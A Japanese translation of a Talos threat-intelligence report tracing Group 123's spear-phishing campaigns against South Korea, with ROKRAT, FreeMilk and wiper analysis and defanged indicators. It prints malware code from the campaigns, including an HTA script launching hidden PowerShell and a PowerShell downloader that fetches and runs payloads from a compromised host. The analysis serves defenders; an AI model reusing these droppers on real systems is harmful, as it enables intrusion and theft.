Cisco Japan Blog

標的にされる韓国

3 min read



このブログ記事は、Jungsoo An の寄稿に基づき、Warren Mercerpopup_icon Paul Rascagnerespopup_icon が執筆しました。

主に韓国をターゲットにした、同一の攻撃者による複数のキャンペーンの 1 年間を振り返ります。

エグゼクティブ サマリー

この記事では、2017 年における Group 123 の悪意のある活動について説明します。Talos での検証の結果、次の 6 つの攻撃キャンペーンに Group 123 が関与していることが相当の確度で明らかとなりました。

  • 「Golden Time(ゴールデン タイム)」キャンペーン
  • 「Evil New Year(邪悪な新年)」キャンペーン
  • 「Are you Happy?(幸せですか)」キャンペーン
  • 「FreeMilk」キャンペーン
  • 「North Korean Human Rights(北朝鮮の人権問題)」キャンペーン
  • 「Evil New Year 2018(邪悪な新年 2018)」キャンペーン

2018 年 1 月 2 日、「Evil New Year 2018」が開始されました。このキャンペーンでは、2017 年の「Evil New Year」キャンペーンと同様のアプローチで実施されています。

上記のキャンペーンでは、PDB(プログラム データベース)パターンなどのコンパイラ アーティファクトやコードが、全体を通じて共有されています。

チームでの分析の結果、「Golden Time」、「Evil New Year」、「North Korean Human Rights」キャンペーンのいずれにおいても、韓国のユーザが標的とされていることがわかりました。攻撃者は、Hancom Hangul Office Suite で作成された悪意のある HWP ドキュメントを電子メールに添付し、スピア フィッシングを行っていました。Group 123 は、CVE-2013-0808 などのエクスプロイトや、OLE オブジェクトを利用したスクリプト言語を使用することで知られています。悪意のあるドキュメントの目的は、リモート管理ツール(RAT)である ROKRAT をインストールして実行することでした。ドキュメントに直接 ROKRAT ペイロードが含まれる場合もあれば、キャンペーンの中で複数の段階を経て感染させる場合もありました。後者の場合、ドキュメントにはダウンローダだけが含まれており、そのダウンローダによって、侵害された Web サーバから ROKRAT がダウンロードされます。

また、「FreeMilk」キャンペーンでは、韓国以外の金融機関もいくつか対象となりました。このキャンペーンでは、他で通常使用される Hancom ドキュメントは使用されず、悪意のある Microsoft Office ドキュメントが使われていました。そのドキュメントでは、比較的新しい脆弱性である CVE-2017-0199 が不正利用されています。Group 123 は、その脆弱性が公開された後、1 ヵ月もたたないうちに利用を始めています。なお、このキャンペーンでは、PoohMilk と Freenki という、2 種類の悪意のあるバイナリが使用されていました。PoohMilk の役割は Freenki を起動させることだけで、Freenki が感染したシステムの情報を収集し、その後の段階で使用するペイロードをダウンロードします。このマルウェアは、2016 年の複数のキャンペーンで使用されており、コードの一部が ROKRAT と重複していました。

最後に、Group 123 に関連する 6 つ目のキャンペーンを確認しました。この 6 つ目のキャンペーンに、我々は、「Are You Happy?」という名前をつけています。このキャンペーンでは、攻撃者はディスク ワイパーを導入しており、感染したリモート システムにアクセスするだけでなく、デバイスの最初のセクタを消去することも目的としていました。このワイパーは、ROKRAT のモジュールであることが判明しています。

 

この攻撃者は 2017 年に非常に活発に活動し、主に韓国をターゲットに活動を続けていました。攻撃者グループは、スピア フィッシング キャンペーンと悪意のあるドキュメントを活用していましたが、そのドキュメントは、翻訳サービスを利用して作成されたものではありませんでした。韓国語のネイティブ スピーカーによるものだとしか思えないような、非常に具体的な表現が含まれていました。なお、攻撃者には、次のような特徴があります。

  • ワークフローに Hangul Office および Microsoft Office 用のエクスプロイトを含める。
  • ペイロードを多段階に分割して、キャンペーンを変更する。
  • 侵害された Web サーバ、もしくは正当なクラウド ベースのプラットフォームを使用する。
  • HTTPS 通信を使用し、トラフィックを解析されないようにする。
  • スピア フィッシング キャンペーンであることを見破られないようにするために第三者機関を侵害する(「Golden Time」キャンペーンにおける延世大学校の例など)。
  • 常に進化している(2018 年には、ファイルレス機能が新しく加わっている)。

タイムライン

2017 年と 2018 年初頭のタイムラインを示します。

2016 年 8 月から 2017 年 3 月:「Golden Time」キャンペーン

Group 123 の大半のキャンペーンと同様に、このキャンペーンでも、最初の攻撃にはスピア フィッシングの手法が使用されました。Talos は、2 種類の電子メールを確認しましたが、興味深いのは、最初に発見された方です。このサンプルからは、ユーザが「北朝鮮と韓国の再統一会議」に関する公開討論会へ参加することを賞賛する内容が読み取れます。電子メールの本文では、添付のドキュメントに入力して必要なフィードバックを提供することを受信者に促していますが、この会議は実際には存在しない会議だと思われます。電子メールが言うところの「統一会議」に最も近いものは、2017 年 1 月に開催された NYDA 再統一会議です。しかし、送信者は「kgf2016@yonsei.ac.kr」となっており、別の会議である、韓国グローバル フォーラムの連絡先のアドレスでした。

メール ヘッダーを分析した結果、この電子メールは、延世大学校のネットワーク関連の IP アドレスを使用した SMTP サーバから送信されていたことがわかりました。上記の電子メールが発信元になっていたのは、攻撃者によってこの電子メール アドレスが侵害され、悪用されたことが原因だと考えられます。

悪意のある添付ファイルのファイル名を訳すと、「統一北朝鮮会議 _ 調査ドキュメント」となります。これは再統一会議に関する電子メール内の文章に沿った名前です。さらに攻撃者は、電子メールの本文に、ドキュメントを入力した人には「少額の謝礼」が支払われるとまで記載していました。しかし実際に贈られるのは組み込みのマルウェアでしょう。

Talos が分析した 2 つ目の電子メールは、あまり労力をかけずに作られたものでした。この電子メールは、Daum が提供する韓国の無料メール サービス「Hanmail」から送信されています。先の電子メールとは違い、公的機関やその関係者から送信されたように装ってはいません。件名は単に「お願い」となっており、添付ファイル名は「私は北朝鮮の江原道文川市出身者です」となっていました。文川市のある江原道は、1945 年の朝鮮分断までは韓国の江原道と同じ区域であり、攻撃者がそのことを受信者に思い出させ、共感を得ようとした可能性があります。

助けを求めていたのは「Ewing Kim」という人物で、この 2 つ目のメールには、その人物に関する内容が記されています。

電子メールには、2 種類の HWP ドキュメントが添付されており、両方とも同じ脆弱性(CVE-2013-0808)を利用しています。脆弱性の対象となっているのは、EPS(Encapsulated PostScript)フォーマットで、シェルコードの狙いは、インターネットからペイロードをダウンロードすることです。最初のメールでは、おとりのドキュメント(下記)がユーザに表示され、感染すると次のペイロードがダウンロードされます。

  • hxxp://discgolfglow[.]com:/wp-content/plugins/maintenance/images/worker.jpg

2 つ目のメールでは、おとりのドキュメント(下記)がユーザに表示され、感染すると次のペイロードがダウンロードされます。

  • hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg

いずれの場合も、ダウンロードされるペイロードは ROKRAT マルウェアです。

この ROKRAT の亜種の最初のタスクは、オペレーティング システムのバージョンを確認することです。Windows XP が検出された場合、マルウェアは無限ループを実行します。これは、Windows XP が実行されているマシンのサンドボックス システムでマルウェアが開かれた場合に、空のレポートを生成するためです。また、感染したシステム上で一般的な解析ツールが実行されていないかも確認します。解析ツールを検出した場合、マルウェアは 2 つの正当な Web サイトに向けたネットワーク要求を実行します。

  • hxxps://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
  • hxxp://www[.]hulu[.]com/watch/559035/episode3.mp4

Amazon の URL では「Men of War」という第二次世界大戦のゲームが表示され、Hulu の URL では「ゴールデン タイム」という日本のアニメを再生しようとします。

ROKRAT の特徴の 1 つとして明らかとなったのは、攻撃者との通信にソーシャル ネットワークやクラウド プラットフォームを使用しているということです。これらのプラットフォームが、ドキュメントの窃取や命令の受信に利用されています。具体的には、Twitter、Yandex、Mediafire などのプラットフォームがこの亜種に使用されており、サンプル内では、プラットフォームごとにトークンがハードコードされています。

2016 年 11 月から 2017 年 1 月:「Evil New Year」キャンペーン

2017 年の初めに、Group123 は、「Evil New Year」キャンペーンを開始しました。このキャンペーンでは、攻撃者は、韓国統一省からの電子メールを偽装することで被害者を欺こうとしています。電子メールには、韓国に特有の分析がなされています。この攻撃は、韓国をターゲットにした、不正な添付ファイルを含む少数のスピア フィッシング メールから始まっています。Group123 は、一般的な Hancom Hangul ドキュメントを利用して、受信者に添付ファイルを開かせようとしています。Hancom の Hangul は、韓国で広く使用されるオフィス スイートであるため、Hangul オフィス ドキュメントを使用することで、韓国での標準と認識されるという利点があります。もし、攻撃者が Microsoft ドキュメントを使用していれば、受信者は不審に感じたことでしょう。また、韓国特有のファイル形式のため、一部のセキュリティ ソフトウェア スイートでは十分に対応できておらず、攻撃者が検出を回避できる可能性が高くなります。

標的となった相手に送られたドキュメントのタイトルは、「北朝鮮の新年に関する分析(2017 年)」となっており、韓国統一省の公式ロゴが使われています。これは、攻撃者の立場からすれば単純な手口ですが、この地域に精通しているような印象を与えます。

ドキュメントは、北朝鮮における新年の活動について記載しており、攻撃対象となった韓国の人間にとっては大変興味深いものです。特に Group123 の標的と考えられる政府関係者の関心を引くものになっていると思われます。

ユーザにページを進めさせ、埋め込まれた悪意のあるドキュメントを開かせることを目的とした、おとりのドキュメントです。

リンクが 2 つ埋め込まれており、北朝鮮の新年の活動についてさらに情報を得るために、ユーザがクリックするように仕向けられています。1 つ目のリンクは、「2016 年と 2017 年における主要な活動の比較」というタイトルで、2 つ目は「2016 年と 2017 年の比較」になっています。

ユーザがこれらのリンクを開くと、さらに Hangul のおとりドキュメントが表示されます。このドキュメントはよく書かれており、新たな攻撃者が韓国人であることの確信がさらに深まりました。ドキュメントには悪意のある OLE オブジェクトが埋め込まれ、バイナリのドロップに使用されています。

このキャンペーンでは、悪意のある OLE(Object Link Embedded)が含まれています。

最初の分析では、2 つのほぼ同じサイズの OLE オブジェクト ファイルがドキュメントに埋め込まれていることが確認されました。この 2 つのファイルは、実行の目的からすれば同じものと思われます。

ドロップされた 2 つのバイナリは、Talos の分析環境では次の場所に置かれて実行されました。

  • C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exe
  • C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exe

最初の分析で、Group123 の処理にはずさんな所があることがわかりました。バイナリ内に次のようなコンパイル アーティファクトが残っており、複数のキャンペーンが同一の攻撃者によるものかどうかを判別する際に役に立ちました。

  • e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb

ドロップされたバイナリは、次の段階で、wscript.exe の実行に使用され、このプロセスにシェルコードが挿入されました。シェルコードは「BIN」リソースに組み込まれ、別の PE32 バイナリの展開に使用されます。また、wscript.exe による PE32 バイナリの実行にも使われます。このような処理を実施するために、Group123 は、既知の VirtualAllocEx()、WriteProcessMemory()、CreateRemoteThread() の各 Windows API コールを利用します。

シェルコードによって新たに展開された PE32 は、最初の偵察を行うマルウェアで、C2 インフラストラクチャと通信を行い、最終的なペイロードを取得します。このマルウェアが収集する情報には、次のようなものがあります。

  • コンピュータ名
  • ユーザ名
  • サンプルの実行パス
  • BIOS モデル
  • システムを一意に識別するためにランダムに生成された ID

Group123 は、この手法を使用して、(a)対象が目的の標的である、(b)その対象は、偵察フェーズで得た情報を基にさらに感染を進めるために利用できる、ことを確認していました。

ネットワーク分析を進めたところ、バイナリは次の URL に接続しようとしていることがわかりました。

  • www[.]kgls[.]or[.]kr/news2/news_dir/index.php
  • www[.]kgls[.]or[.]kr/news2/news_dir/02BC6B26_put.jpg

Korean Government Legal Services(KGLS)は、韓国政府の法務を管理する公式な政府機関です。攻撃者は、KGLS を侵害することで、攻撃の実施元となる、信頼性の高いプラットフォームを取得しています。

最初に、「Index.php」に対するネットワーク接続が行われ、偵察フェーズで集められた情報が転送されます。攻撃者はこの情報を使い、感染した対象への送信に利用する固有のファイル名(ランダム ID に基づく)を決定します。今回の調査では、ランダム ID は 02BC6B26 であったため、攻撃者の C2 で「02BC6B26_put.jpg」というファイルが作成されました。その後、このファイルは対象の端末にドロップされ、「officepatch.exe」という名前に変更されています。攻撃者は攻撃対象に対して注意を払っていたため、分析中にこのファイルを入手することはできませんでした。

なお、調査の際に、この攻撃者が使用した別のコマンド & コントロール インフラストラクチャを特定できました。4 つの C2 が次の国にあることが確認されています。

  • 3 つの C2:韓国
  • 1 つの C2:オランダ

 

特定したインフラストラクチャのグローバル マップは次のとおりです。

それまでのキャンペーンとは異なり、攻撃者は偵察フェーズを、ROKRAT のメインのペイロードから分離させています。このような手法は、おそらく検出の回避を狙ったものであり、Group 123 の行動において興味深い対応です。

2017 年 3 月:「ARE YOU HAPPY?」キャンペーン

2017 年 3 月、Group 123 が、ディスク ワイパーをコンパイルしました。マルウェアには関数が 1 つ含まれており、感染したシステムのドライブ(\\.\PhysicalDrive0)を開いて、次のデータを MBR に書き込むことが目的です。

「Are you Happy?」の文字列がバッファに書き込まれているのがわかると思います。MBR に書き込みを行った後、マルウェアは次のコマンドを実行して端末をリブートさせます:c:\windows\system32\shutdown /r /t 1

リブート後、MBR によって、ユーザに次の文字列が表示されます。

他のキャンペーンと関連していたのは、次の PDB パスです。

  • D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb

ご覧のように、これは完全に ROKRAT の PDB と一致しています。このワイパーは、ERSP.enc という名前が付けられた ROKRAT のモジュールです。ERSP とは、ERaSePartition(パーティションの削除)を意味しているものと思われます。このモジュールは、Group 123 の要求に基づいてダウンロードして実行することが可能です。

このサンプルから、2014 年 12 月の韓国の電力プラントへの攻撃が思い起こされます。当時のワイパーによって表示されたメッセージは「Who Am I?(私は誰)」でした。

2017 年 5 月:「FREEMILK」キャンペーン

このキャンペーンでは、韓国以外の金融機関が攻撃の対象となりました。他のキャンペーンとは異なり、HWP ドキュメントは使われておらず、Office ドキュメントが代わりに使用されています。こうした変更が行われたのは、Group 123 がこのキャンペーンで韓国を標的としておらず、韓国以外では、Microsoft Office が一般的だからです。

感染ベクトル

攻撃者は、CVE-2017-0199 を悪用して、Microsoft Office の悪意のある HTA ドキュメントをダウンロードして、実行します。URL は組み込まれた OLE オブジェクトで確認できます。

hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]

ダウンロードされた HTA ドキュメントのソース コードは次のとおりです。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />

<title>Bonjour</title>
<script language="VBScript">
Set owFrClN0giJ = CreateObject("Wscript.Shell")
Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
owFrClN0giJ.Run "powershell -nop -windowstyle hidden -executionpolicy bypass -encodedcommand JABjAD0AbgBlAHcALQBvA[...redacted...]H0AIAA=" ,0
owFrClN0giJ.Run "cmd /c echo hta>%tmp%\webbrowser1094826604.tmp", 0
End If
Self.Close
</script>
<hta:application
id="oHTA"
applicationname="Bonjour"
application="yes"
>
</head>
</html>

Base64 アルゴリズムを使用してデコードすれば、最終段階のペイロードのソースを読むことができます。

$c=new-object System.Net.WebClient
$t =$env:temp
$t1=$t+"\\alitmp0131.jpg"
$t2=$t+"\\alitmp0132.jpg"
$t3=$t+"\\alitmp0133.js"

try
  {
    echo $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg",$t1)
    $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg",$t2)
    $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp",$t3)
    wscript.exe $t3
  }
catch
  {
  }

このスクリプトの目的は、Windows スクリプトと 2 つのエンコードされたペイロードをダウンロードして実行することです。次のペイロードのデコードと実行に使用されます。

  • jpg(Windows-KB275122-x86.exe に名前を変更)が、Freenki のサンプルです。
  • jpg(Windows-KB271854-x86.exe に名前を変更)が PoohMilk のサンプルです。

PoohMilk の分析

PoohMilk のサンプルは、2 つのアクションを実行するように設計されています。

  • 次のリブート時に Freenki のサンプルを実行するためにシステムに常駐する。
  • 感染したマシン上の特定のファイルを確認する。

最初のアクションでは、事前にダウンロードされた Windows KB275122-x86.exe ファイルを実行するために、レジストリ キーが作成されます。ファイル実行の際の引数は、「help」で、レジストリの作成は次のように行われます。

常駐を可能にしているのは、レジストリの HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update で、次のリブートの際に、マルウェアが実行されます。

2 番目のアクションでは、カレント ユーザの一時ディレクトリに「wsatra.tmp」ファイルが存在するかどうかが確認されます。ファイルが存在する場合は、内容が読み込まれ、LNK(リンク)の拡張子を持った 2 番目のファイルへのパスが取得されます。そして、最終的にこの LNK ファイルが 3 番目のファイルとなる ZIP ファイルを特定する際に使われます。ZIP ファイルが展開されると、RTF ドキュメントが取得され、ユーザがワードパッドを実行すれば表示されます。

PoohMilk のサンプルにある PDB のパスは、次のとおりです。

  • E:\BIG_POOH\Project\milk\Release\milk.pdb

Freenki のサンプル

Freenki の目的は、感染したシステムに関する情報を収集し、3 つ目の実行可能ファイルをダウンロードすることです。

このサンプルは、次の 3 つの引数で実行されます。

  • 「Help」:PoohMilk によって設定された値。この場合、メイン関数が実行されます。
  • 「Console」:システムへの常駐が設定され、次回のリブートの際にマルウェアが実行されます(HKCU\Software\Microsoft\Windows\CurrentVersion\Run\runsample)。
  • 「Sample」:マルウェアがコンソール コマンドを実行し、その後、help コマンドが実行されます。

システムの情報は、WMI クエリを使用して収集されます。

また、マルウェアは Microsoft Windows の API を利用して、実行中のプロセスの一覧を取得します。難読化により、URL や User-Agent などの文字列が隠蔽されています。アルゴリズムはビット単位(SUB 0x0F XOR 0x21)になっており、デコードすると次のようになります。

  • hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.php
  • Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)

ダウンロードされる 3 番目のペイロードも、同じ手法で難読化されています。ファイルは、「PNGF」で始まる偽の画像です。

2017 年 11 月:「North Korean Human Rights」キャンペーン

2017 年 11 月には、Group123 によるその年の最新の攻撃キャンペーンで ROKRAT の新バージョンが使用されているのが確認されました。Group 123 の関与を示す、悪意のある HWP ドキュメントが再び使われていました。韓国のソウルで 11 月 1 日に開催された会議に関する情報が含まれており、「Citizens’ Alliance for North Korean Human Rights and Reunification of Korean Peninsula(北朝鮮の人権と朝鮮半島再統一のための市民連合)」の代表を名乗る弁護士が書いたものとなっていました。Group 123 が、再度、朝鮮の統一に関する情報を利用したわけですが、今回は人権問題に関する懸念を強調したものになっています。

このドキュメントは、Talos に新たな成果をもたらしました。ROKRAT の新しいバージョンが確認されたのです。これまでの Group 123 の活動と同様に、このドキュメントも完璧な韓国語と方言で書かれており、このグループが朝鮮半島で発生したことを示しています。

ドキュメントの文章をさらに分析すると、前後の状況が理解できました。ドキュメントの中で弁護士は、「Community of North Korean human rights and unification(北朝鮮の人権と統一に関するコミュニティ)」が、「Citizen’s Alliance for North Korean Human Rights and North-South unification(北朝鮮の人権と朝鮮半島再統一のための市民連合)」の一部であると主張しており、その主な目的は、韓国で 2016 年に可決された「北朝鮮人権法」と「法律の制定」に関連する事項についての会合を設定することでした。チームでは、攻撃者がこのドキュメントを利用して、「올인통」コミュニティの関係者に対して、一連の活動に関する新たなアイデアを出すことを目的に議論に参加させようとしたと考えています。会議は 2017 年 11 月 1 日に開催されることになっていたことから、このドキュメントは、会議の前にさらに関心をもたせようとしたものだと思われます。

Group 123 は、このキャンペーンでも HWP ドキュメント内の OLE オブジェクトを利用していました。zlib の展開(HWP ドキュメントにおける通常のアクション)から分析を始めたところ、次のスクリプトを復元させることができました。

const strEncode = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hV[...redacted...]AAAAAAAAAAAAAAAAAAAAAA="
DIM outFile
DIM base64Decoded
DIM shell_obj
SET shell_obj = CreateObject("WScript.Shell")
DIM fso
SET fso = CreateObject("Scripting.FileSystemObject")
outFile = "c:\ProgramData\HncModuleUpdate.exe"
base64Decoded = decodeBase64(strEncode)
IF NOT(fso.FileExists(outFile)) then
writeBytes outFile, base64Decoded
shell_obj.run outFile
END IF
WScript.Quit()
private function decodeBase64(base64)
DIM DM, EL
SET DM = CreateObject("Microsoft.XMLDOM")
SET EL = DM.createElement("tmp")
EL.DataType = "bin.base64"
EL.Text = base64
decodeBase64 = EL.NodeTypedValue
end function
private Sub writeBytes(file, bytes)
DIM binaryStream
SET binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = 1
binaryStream.Open
binaryStream.Write bytes
binaryStream.SaveToFile file, 1
End Sub

このスクリプトが実行されると、strEncode 変数に格納された Base64 の静的な文字列がデコードされます。デコードされたバイナリは、Base64 エンコーディングを使用して HncModuleUpdate.exe として保存され、実行されます。これが、ROKRAT ドロッパーです。「HncModuleUpdate」というファイル名は、実行されているプロセスの中で、Hancom のアップデータのようにみえる名前が選ばれたと考えています。

このドロッパーは、SBS という新しいリソースの展開に使用されます。この特殊なリソースには、マルウェアが使用する悪意のあるシェルコードが含まれています。さらに、cmd.exe プロセスが起動され、VirtualAlloc()、WriteProcessMemory()、CreateRemoteThread() の Windows API を使ってプロセスに挿入されます。最初に確認された ROKRAT と同様の Windows API が引き続き使われています。これらの一連のステップが、次の IDA のグラフで示されています。

これらの各ステップが実行されることで、PE バイナリがデコードされて cmd.exe プロセスに挿入され、新しい ROKRAT の亜種を起動できるようになります。

Group 123 の奇妙な点の 1 つがこのキャンペーンに現れています。次の画像がユーザへのおとり画像としてドロップされることです。韓国の「独立運動」や朝鮮戦争に関連するものだと思われる、公開されている様々な画像が表示されます。

この ROKRAT の新バージョンについて、さらに詳細な分析を始めたところ、Group 123 の「Evil New Years」キャンペーンとの類似性に気づきました。この類似性については、この記事の後の方で説明します。

今回の ROKRAT の亜種にはサンドボックス対策が備えられており、攻撃対象のマシンに次のライブラリがロードされているかどうかが確認されています。

  • dll(sandboxie のライブラリ)
  • dll(Microsoft のデバッグ ツール)
  • dll(threatAnalyzer/GFI のサンドボックス)
  • dll(threatAnalyzer/GFI のサンドボックス)

この ROKRAT の亜種では、分析を回避するために、他にもいくつかの手法が使われていることが判明しました。Group 123 は、NOP(No Operation; 何もしない)に関連したデバッグ対策を実施しています。

nop dword ptr [eax + eax 00 h] は 5 バイトの NOP ですが、この命令コードは、一部のデバッグ ツールでは正しくサポートされていません。Immunity Debugger がその一例で、アセンブリでは赤色の「???」で置き換えられてしまい、デバッグできなくなります。

このバージョンの ROKRAT には、ブラウザ窃取機能が搭載されていました。この機能は、若干の変更点があるだけで、2016 年の FreeMilk キャンペーンで使用された Freenki マルウェアのものと類似していました。

Group 123 は、引き続きクラウド プラットフォームを利用してキャンペーンを行っており、今回は pCloud、Dropbox、Box、Yandex が使用されています。

最後に、このキャンペーンで使用されたサンプルの PDB を示します。

  • d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb

2018 年 1 月:「EVIL NEW YEAR 2018」キャンペーン

2017 年初頭に確認されたように、Group 123 は 2018 年の新年にも同様のキャンペーンを始めました。このキャンペーンは、1 月 2 日に開始され、感染ベクトルは悪意のある HWP ドキュメントでした。

このおとりのドキュメントは、北朝鮮の指導者が 2018 年の新年に行ったスピーチを分析するものとなっており、ドキュメントは新しくなっていますが、2017 年に確認されたアプローチとまったく同じです。左上のロゴから、統一省によって書かれたと思わせるものになっています。

「Golden Time」キャンペーンと同様に EPS の脆弱性が利用され、侵害された Web サイトにあるシェルコードがダウンロードされて実行されます。

  • hxxp://60chicken[.]co[.]kr/wysiwyg/PEG_temp/logo1.png

偽の画像を使うのは、このグループのいつものパターンです。画像にはシェルコードが埋め込まれており、組み込まれている最終のペイロードである ROKRAT をデコードします。この ROKRAT の亜種は、メモリからロードされるようになっており、ROKRAT のファイルレス バージョンです。このことから、検出を避けるために、Group 123 が常に進化しているということがわかります。これまでと同様に、ROKRAT のサンプルでは、クラウド プロバイダーを利用してオペレータとの通信が行われており、今回は Yandex、pCloud、Dropbox、Box が使われていました。

各キャンペーン間の関連

コードの共有

Talos では、Group 123 が複数のマルウェア間でコードを共有していることを確認しています。この記事で示したサンプルでは複数の機能が共有されていますが、ここでは、偵察フェーズとブラウザ窃取機能の 2 つに絞って説明します。

偵察フェーズ

「Evil New Year」キャンペーンと「North Korean Human Rights」キャンペーンで使用された ROKRAT のサンプルには、偵察フェーズが含まれていました。「Evil New Year」キャンペーンでは、ペイロードが 2 つに分割されており、最初の部分に偵察用のコードが組み込まれていました。他のキャンペーンでは、偵察フェーズはメインのペイロードに直接組み込まれており、コード自体は同じです。

マルウェアは、次のレジストリ キーを使用してマシン タイプを取得します:HKLM\System\CurrentControlSet\Services\mssmbios\Data\SMBiosData「System manufacturer」の値を利用してマシン タイプが判別されます。コードは、Win32 API の使用について述べているフォーラム(rohitab.com)の投稿を参考にしたものと思われ、ソース コードで扱われているのは、次のマシン タイプのみです。

default:   lpString = "(Other)";               break;
case 0x02: lpString = "(Unknown)";             break;
case 0x03: lpString = "(Desktop)";             break;
case 0x04: lpString = "(Low Profile Desktop)"; break;
case 0x06: lpString = "(Mini Tower)";          break;
case 0x07: lpString = "(Tower)";               break;
case 0x08: lpString = "(Portable)";            break;
case 0x09: lpString = "(Laptop)";              break;
case 0x0A: lpString = "(Notebook)";            break;
case 0x0E: lpString = "(Sub Notebook)";        break;

() を使用した文字列の形式とタイプの分類は、ROKRAT サンプルで使用されたものとまったく同じです。

なお、興味深いことに、この偵察フェーズは、「Golden Time」キャンペーンで使用された ROKRAT の亜種には含まれていませんでした。

ブラウザ窃取機能

「North Korean Human Rights」キャンペーンで、ブラウザのパスワードを盗み出す機能が初めて使用されました。パスワードを窃取するコードは、2016 年に展開された Freenki サンプルに含まれていたものと同じです。

Internet Explorer、Chrome、Firefox から保存済みパスワードを抜き出すことができるものです。Chrome と Firefox の場合、URL、ユーザ名、パスワードを含んだ SQLite のデータベースに対し、クエリが実行されます。

また、Microsoft の Vault のメカニズムがサポートされています。Vault は Windows 7 で実装され、Internet Explorer のセンシティブ データ(クレデンシャルなど)を格納します。以下では、Vault の API が初期化されています。

左側が ROKRAT のサンプルで、右側が FreeMilk のサンプルです。コードだけでなく「IE Registery」などの英語のタイプ ミスもコピー アンド ペーストされているのがわかります。

PDB のパス

記事中に記載したすべてのバイナリにおいて、PDB の命名規則に一定のパターンがあることが判明しています。

ROKRAT:

  • e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdb(「Evil New Year」キャンペーン)
  • d:\HighSchool\version 13\2ndBD\T+M\T+M\Result\DocPrint.pdb(「North Korean Human Rights」キャンペーン)
  • D:\HighSchool\version 13\First-Dragon(VS2015)\Sample\Release\DogCall.pdb(6 月に発生した特定されていないキャンペーンの ROKRAT サンプル)

ワイパー:

  • D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb(「Are You Happy?」キャンペーン)

サマリー表

記事中で示した各キャンペーンの類似点と相違点を表にまとめました。

まとめ

悪意のある攻撃者にとって、韓国はますます重要な標的となりつつあります。また、使用される手法もより地域に特化したものになってきています(例:その地域のネイティブの言語を使い、標的にした相手に、送付された情報、ドキュメント、電子メールが正当なものと信じ込ませる)。キャンペーンによっては、延世大学校や KGLS などの正当な韓国のプラットフォームを侵害し、時間をかけてスピア フィッシング キャンペーンを仕掛けたり、コマンド アンド コントロールをホストしたりしています。このようなアプローチは、技術力に劣る攻撃者にはみられないものであり、高い成熟度と韓国に関する豊富な知識を感じさせます。

しかし、Group 123 の活動は韓国だけに限りません。世界の他の国を標的にする場合には、韓国を標的とする際に使用する特徴的な HWP ドキュメントから、より一般的な攻撃ベクトルである Microsoft Office ドキュメントに切り替えることができます。また、悪意のあるペイロードをドロップして実行する際には、公開済みのエクスプロイトやスクリプト言語を積極的に使用しています。感染システムとの通信には、侵害された正当な Web サイト(主に WordPress)やクラウド プラットフォームを使うことが判明しており、このようなアプローチをとることで、ネットワーク フローの解析によって通信が検出されるのを回避しています。この攻撃者の手法は多様ですが、Talos ではいくつかのパターンを特定しています。公開されているさまざまなリポジトリからコードをコピー アンド ペーストしていることや、コードにおける一定の類似性などです。さらに、リモート管理ツールに加えて、ワイパーの存在も明らかになりました。Talos では、Group 123 は、インテリジェンス情報の収集に関与し、最終的には破壊的な活動を実施しようとしたグループであるという結論に達しています。

現在得ている情報からすると、Group 123 がすぐに消滅することはなく、今後数年は引き続き活発に行動するものと考えられます。ROKRAT に新しくファイルレスの機能が加わったことからもわかるように、この攻撃者は常に進化しています。標的となるプロファイルが変化する可能性もありますが、現時点では主に韓国が標的になるものと思われます。ただし、先に説明したように、TTP をさらに洗練させながら、今後も進化を続けていくでしょう。

IOC(侵入の痕跡)

「Golden Time」キャンペーン:

悪意のある文書 #1 sha256:7d163e36f47ec56c9fe08d758a0770f1778fa30af68f39aac80441a3f037761e
悪意のある文書 #2 sha256:5441f45df22af63498c63a49aae82065086964f9067cfa75987951831017bd4f
ROKRAT #1:cd166565ce09ef410c5bba40bad0b49441af6cfb48772e7e4a9de3d646b4851c
ROKRAT #1:051463a14767c6477b6dacd639f30a8a5b9e126ff31532b58fc29c8364604d00

ネットワーク:
悪意のある URL:
– hxxp://discgolfglow[.]com/wp-content/plugins/maintenance/images/worker.jpg
– hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg

安全な URL:
– hxxps://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
– hxxp://www[.]hulu[.]com/watch/559035/episode3.mp4

「Evil New Year」キャンペーン:

悪意のあるドキュメント sha256:281828d6f5bd377f91c6283c34896d0483b08ac2167d34e981fbea871893c919
ドロップされたファイル #1:95192de1f3239d5c0a7075627cf9845c91fd397796383185f61dde893989c08a
ドロップされたファイル #2:7ebc9a1fd93525fc42277efbccecf5a0470a0affbc4cf6c3934933c4c1959eb1
